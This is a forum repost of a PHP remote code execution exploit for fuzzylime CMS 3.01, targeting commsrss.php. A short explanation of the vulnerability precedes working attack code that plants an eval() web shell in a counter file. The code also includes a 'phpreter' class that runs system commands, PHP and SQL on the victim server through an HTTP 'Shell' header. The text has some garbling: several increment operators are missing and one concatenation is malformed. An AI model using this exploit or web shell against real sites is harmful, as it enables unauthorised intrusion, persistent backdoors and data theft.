• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    fuzzylime cms 3.01 (commrss.php) Remote Code Execution Exploit

    发布者: 土豆服务器 | 发布时间: 2025-6-28 22:45| 查看数: 86| 评论数: 0|帖子模式

    <?php
    ##
    ## Name:       Fuzzylime 3.01 Remote Code Execution Exploit
    ## Credits:    Charles "real" F. <charlesfol[at]hotmail.fr>
    ##
    ## Conditions: None
    ##
    ## Greetz:     Inphex, hEEGy and austeN
    ##
    ## Explanations
    ## ************
    ##
    ## Ok, so today we will go for a walk in the fuzzylime cms maze ...
    ## Finding vulns was easy, but finding a no condition vuln was quite
    ## harder ...
    ##
    ## First, we look to the code/content.php file:
    ##
    ##---[code/content.php]------------------------------------------
    ## 02| require_once("code/functions.php");
    ## --| [...]
    ## 09| $countfile = "code/counter/${s}_$p.inc.php";
    ## 10| if(file_exists($countfile)) {
    ## 11|     $curcount = loadfile($countfile);
    ## 12| }
    ## 13| $curcount  ;
    ## 14| if($handle = @fopen($countfile, 'w')) { // Open the file for saving
    ## 15|     fputs($handle, $curcount);
    ## 16|     fclose($handle);
    ## 17| }
    ##----------------------------------------------------------------
    ##
    ## $s, $p, $curcount vars are not initialized, so we can set it if
    ## register_globals=On.
    ##
    ## POC: http:///code/content.php?s=owned&p=owned&curcount=[PHP_SCRIPT]
    ##
    ## Note: [C:\]# php -r "$var='abc'; $var  ; print $var;"
    ##       abd
    ## So the    just increment the last string letter position in the alphabet
    ## a->b, b->c, etc.
    ##
    ## Ok, we got remote code exec ... but wait a minute ... no ! require_once()
    ## requires a file in the code folder, but we are already in this folder ...
    ## PHP will die (Fatal Error) and our evil code won't be executed.
    ## And we wanted a no condition exploit, but this vuln needs register_globals
    ## to be On ...
    ##
    ## hum... let's look at other pages: we can find that extract() function is
    ## pretty often used, and it can simulate register_globals ...
    ## Now we are looking for a file which uses extract() and which can include
    ## code/content.php file, and which is in the root path.
    ##
    ## And we finally found commsrss.php, which contains:
    ##
    ##---[commsrss.php]-----------------------------------------------
    ## 17| extract($HTTP_POST_VARS);
    ## 18| extract($_POST);
    ## 19| extract($HTTP_GET_VARS);
    ## 20| extract($_GET);
    ## 21| extract($HTTP_COOKIE_VARS);
    ## 22| extract($_COOKIE);
    ## --| [...]
    ## 64| $dir = "blogs/comments/";
    ## 65| if($dlist = opendir($dir)) {
    ## 66|     while (($file = readdir($dlist)) !== false) {
    ## 67|         if(strstr($file, $p)) {
    ## 68|             $files[] = $file;
    ## 69|         }
    ## 70|     }
    ## 71|     closedir($dlist);
    ## 72| }
    ## 73| for($i = 0; $i < count($files); $i  ) {
    ## 74|     include "blogs/comments/$files[$i]";
    ## --| [...]
    ## 89| }
    ##----------------------------------------------------------------
    ##
    ## w00t ! $files array is not initialized ... we can include every
    ## file we want.
    ##
    ## Using chr() we can bypass magic_quotes_gpc=Off [ see chrit() ]
    ##
    ## Our problems are solved, we have a Remote Code Execution without
    ## conditions.
    ##
    ## Proof of Concept
    ## ****************
    ##
    ## [C:\]# php exploit.php http://www.target.com/
    ## [target][cmd]# ls
    ## blogs_.inc.php
    ## content_index.inc.php
    ## content_index.php.inc.php
    ## content_test.inc.php
    ## front_index.inc.php
    ## front_test.inc.php
    ## index.htm
    ## index.php_index.inc.php
    ##
    ## [target][cmd]# exit
    ##
    ## [C:\]#

    $url = $argv[1];


    $php_code = '<?php'
              . 'error_reporting(0);'
              . 'print ' . chrit('-:-:-') . ';'.
              . 'eval(stripslashes($_SERVER[HTTP_SHELL]));'
      . 'print ' . chrit('-:-:-') . ';'.
      . '?>';

    $php_code--; // 13| $curcount  ;

    $c0de  = $url . 'commsrss.php?s=blogs&m=&usecache=0&files[0]=../../code/content.php'
                  . '&curcount=' . urlencode($php_code);

    $shell = $url . 'code/counter/blogs_.inc.php';


    # Be careful: we can create a valid shell only ONCE.
    # So check if it does not already exist before doing
    # anything else.
    if(status_404($shell)==true)
    get($c0de);

    $phpR = new phpreter($shell, '-:-:-(.*)-:-:-', 'cmd', array(), false);

    function chrit($str)
    {
    $r = '';

    for($i=0;$i<strlen($str);$i  )
    {
    $z  = substr($str, $i, 1);
    $r .= '.chr('.ord($z).')';
    }

    return substr($r, 1);
    }

    function get($url)
    {
    $infos = parse_url($url);
    $host  = $infos['host'];
    $port  = isset($infos['port']) ? $infos['port'] : 80;

    $fp = fsockopen($host, $port, &$errno, &$errstr, 30);

    $req  = "GET $url HTTP/1.1\r\n";
    $req .= "Host: $host\r\n";
    $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
    $req .= "Connection: close\r\n\r\n";

    fputs($fp,$req);
    fclose($fp);
    }

    function status_404($url)
    {
    $infos = parse_url($url);
    $host  = $infos['host'];
    $port  = isset($infos['port']) ? $infos['port'] : 80;

    $fp = fsockopen($host, $port, &$errno, &$errstr, 30);

    $req  = "GET $url HTTP/1.1\r\n";
    $req .= "Host: $host\r\n";
    $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
    $req .= "Connection: close\r\n\r\n";

    fputs($fp, $req);

    $res = '';
    while(!feof($fp) && !preg_match('#404#', $res))
    $res .= fgets($fp, 1337);

    fclose($fp);

    if(preg_match('#404#', $res))
    return true;

    return false;
    }

    /*
    * Copyright (c) real
    *
    * This program is free software; you can redistribute it and/or
    * modify it under the terms of the GNU General Public License
    * as published by the Free Software Foundation; either version 2
    * of the License, or (at your option) any later version.
    *
    * This program is distributed in the hope that it will be useful,
    * but WITHOUT ANY WARRANTY; without even the implied warranty of
    * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    * GNU General Public License for more details.
    *
    * You should have received a copy of the GNU General Public License
    * along with this program; if not, write to the Free Software
    * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
    *
    * TITLE:          PHPreter
    * AUTHOR:         Charles "real" F. <charlesfol[at]hotmail.fr>
    * VERSION:        1.0
    * LICENSE:        GNU General Public License
    *
    * This is a really simple class with permits to exec SQL, PHP or CMD
    * on a remote host using the HTTP "Shell" header.
    *
    *
    * Sample code:
    * [host][sql]# mode=cmd
    * [host][cmd]# id
    * uid=2176(u47170584) gid=600(ftpusers)
    *
    * [host][cmd]# mode=php
    * [host][php]# echo phpversion();
    * 4.4.8
    * [host][php]# mode=sql
    * [host][sql]# SELECT version(), user()
    * --------------------------------------------------
    *  version()           | 5.0.51a-log
    *  user()              | dbo225004932@74.208.16.148
    * --------------------------------------------------
    *
    * [host][sql]#
    *
    */

    class phpreter
    {
    var $url;
    var $host;
    var $port;
    var $page;

    var $mode;

    var $ssql;

    var $prompt;
    var $phost;

    var $regex;
    var $data;

    /**
    * __construct()
    *
    * @param url      The url of the remote shell.
    * @param regexp   The regex to catch cmd result.
    * @param mode     Mode: php, sql or cmd.
    * @param sql      An array with the file to include,
    *                 and sql vars
    * @param clear    Determines if clear() is called
    *                 on startup
    */
    function __construct($url, $regexp='^(.*)$', $mode='cmd', $sql=array(), $clear=true)
    {
    $this->url = $url;

    $this->regex = '#'.$regexp.'#is';

    #
    # Set data
    #

    $infos         = parse_url($this->url);
    $this->host    = $infos['host'];
    $this->port    = isset($infos['port']) ? $infos['port'] : 80;
    $this->page    = $infos['path'];
    unset($infos);

    # www.(site).com
    $host_tmp      = explode('.',$this->host);
    $this->phost   = $host_tmp[ count($host_tmp)-2 ];
    unset($host_tmp);

    #
    # Set up MySQL connection string
    #
    if(!sizeof($sql))
    $this->ssql = '';
    elseif(sizeof($sql)==5)
    {
    $this->ssql = "include('$sql[0]');"
                . "mysql_connect($sql[1], $sql[2], $sql[3]);"
        . "mysql_select_db($sql[4]);";
    }
    else
    {
    $this->ssql = ""
                . "mysql_connect('$sql[0]', '$sql[1]', '$sql[2]');"
        . "mysql_select_db('$sql[3]');";
    }

    $this->setmode($mode);

    #
    # Main Loop
    #

    if($clear) $this->clear();
    print $this->prompt;

    while( !preg_match('#^(quit|exit|close)$#i', ($cmd = trim(fgets(STDIN)))) )
    {
    # change mode
    if(preg_match('#^(set )?mode(=| )(sql|cmd|php)$#i',$cmd,$array))
    $this->setmode($array[3]);

    # clear data
    elseif(preg_match('#^clear$#i',$cmd))
    $this->clear();

    # else
    else print $this->exec($cmd);

    print $this->prompt;
    }
    }

    /**
    * clear()
    * Just clears ouput, printing '\n'x50
    */
    function clear()
    {
    print str_repeat("\n", 50);
    return 0;
    }

    /**
    * setmode()
    * Set mode (PHP, CMD, SQL)
    * You don't have to call it.
    * use mode=[php|cmd|sql] instead,
    * in the prompt.
    */
    function setmode($newmode)
    {
    $this->mode = strtolower($newmode);
    $this->prompt = '['.$this->phost.']['.$this->mode.']# ';

    switch($this->mode)
    {
    case 'cmd':
    $this->data = 'system(\'<CMD>\');';
    break;
    case 'php':
    $this->data = '';
    break;
    case 'sql':
    $this->data = $this->ssql
                . '$q = mysql_query(\'<CMD>\') or print(str_repeat("-",50)."\n".mysql_error()."\n");'
        . 'print str_repeat("-",50)."\n";'
        . 'while($r=mysql_fetch_array($q,MYSQL_ASSOC))'
        . '{'
        . 'foreach($r as $k=>$v) print " ".$k.str_repeat(" ", (20-strlen($k)))."| $v\n";'
        . 'print str_repeat("-",50)."\n";'
        . '}';
    break;
    }
    return $this->mode;
    }

    /**
    * exec()
    * Execute any query and catch the result.
    * You don't have to call it.
    */
    function exec($cmd)
    {
    if(!strlen($this->data)) $shell = $cmd;
    else                    $shell = str_replace('<CMD>', addslashes($cmd), $this->data);

    $fp = fsockopen($this->host, $this->port, &$errno, &$errstr, 30);

    $req  = "GET " . $this->page . " HTTP/1.1\r\n";
    $req .= "Host: " . $this->host . ( $this->port!=80 ? ':'.$this->port : '' ) . "\r\n";
    $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
    $req .= "Shell: $shell\r\n";
    $req .= "Connection: close\r\n\r\n";

    unset($shell);

    fputs($fp, $req);

    $content = '';
    while(!feof($fp)) $content .= fgets($fp, 128);

    fclose($fp);

    # Remove headers
    $data    = explode("\r\n\r\n", $content);
    $headers = array_shift($data);
    $content = implode("\r\n\r\n", $data);

    if(preg_match("#Transfer-Encoding:.*chunked#i", $headers))
    $content = $this->unchunk($content);

    preg_match($this->regex, $content, $data);

    if($data[1][ strlen($data)-1 ] != "\n") $data[1] .= "\n";

    return $data[1];
    }

    /**
    * unchunk()
    * This function aims to remove chunked content sizes which
    * are putted by apache server when it uses chunked
    * transfert-encoding.
    */
    function unchunk($data)
    {
    $dsize  = 1;
    $offset = 0;

    while($dsize>0)
    {
    $hsize_size = strpos($data, "\r\n", $offset) - $offset;

    $dsize = hexdec(substr($data, $offset, $hsize_size));

    # Remove $hsize\r\n from $data
    $data = substr($data, 0, $offset) . substr($data, ($offset   $hsize_size   2) );

    $offset  = $dsize;

    # Remove the \r\n before the next $hsize
    $data = substr($data, 0, $offset) . substr($data, ($offset 2) );
    }

    return $data;
    }
    }

    ?>

    来源:[url=https://www.jb51.net/hack/5661.html]https://www.jb51.net/hack/5661.html

    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表